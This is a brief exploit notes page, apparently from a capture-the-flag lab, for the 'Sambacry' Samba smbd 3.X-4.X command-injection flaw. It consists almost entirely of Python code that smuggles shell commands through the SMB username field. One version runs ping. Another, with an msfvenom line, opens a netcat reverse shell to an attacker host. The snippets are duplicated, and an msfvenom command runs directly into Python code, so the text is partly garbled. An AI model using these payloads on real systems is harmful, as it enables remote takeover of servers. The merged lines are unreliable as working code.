Sambacry
Samba smbd 3.X-4.X
#!/usr/bin/env python3
from smb.SMBConnection import SMBConnection
SMBConnection(
"/=`nohup ping -c 3 10.10.14.33`",
"",
"",
"",
).connect("10.10.10.3", 139) 

Last updated
#!/usr/bin/env python3
from smb.SMBConnection import SMBConnection
SMBConnection(
"/=`nohup ping -c 3 10.10.14.33`",
"",
"",
"",
).connect("10.10.10.3", 139) 

Last updated
msfvenom -p cmd/unix/reverse_netcat LHOST=10.10.14.33 LPORT=2222 EXITFUNC=thread from smb.SMBConnection import SMBConnection
SMBConnection(
"/=`nohup mkfifo /tmp/lmzf; nc 10.10.14.33 2222 0</tmp/lmzf | /bin/sh >/tmp/lmzf 2>&1; rm /tmp/lmzf`",
"",
"",
"",
).connect("10.10.10.3", 139)